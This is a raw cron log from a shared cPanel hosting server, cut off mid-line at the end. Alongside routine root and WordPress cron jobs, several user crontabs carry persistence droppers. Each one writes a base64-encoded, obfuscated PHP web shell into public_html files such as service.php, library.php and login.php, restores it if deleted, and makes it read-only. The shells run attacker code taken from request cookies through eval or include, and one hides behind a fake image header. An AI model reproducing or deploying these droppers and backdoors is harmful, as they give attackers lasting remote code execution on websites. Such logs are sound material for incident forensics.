"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:37:02 medusa CROND[20481]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:37:02 medusa CROND[20483]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:37:02 medusa CROND[20488]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:37:02 medusa CROND[20491]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:38:02 medusa CROND[5777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:38:02 medusa CROND[5826]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:38:02 medusa CROND[5970]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:38:02 medusa CROND[5972]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:38:02 medusa CROND[5977]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:38:02 medusa CROND[5979]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:38:02 medusa CROND[5976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:38:02 medusa CROND[5980]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:38:02 medusa CROND[5986]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:38:02 medusa CROND[5987]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:38:02 medusa CROND[5990]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:38:02 medusa CROND[5991]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:38:02 medusa CROND[5996]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:39:01 medusa CROND[23717]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:39:01 medusa CROND[24031]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:39:01 medusa CROND[24032]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:39:01 medusa CROND[24033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:39:01 medusa CROND[24034]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 16:39:01 medusa CROND[24035]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:39:01 medusa CROND[24036]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:39:01 medusa CROND[24042]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:39:01 medusa CROND[24049]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:39:01 medusa CROND[24052]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:39:01 medusa CROND[24054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:39:01 medusa CROND[24056]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:39:01 medusa CROND[24058]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3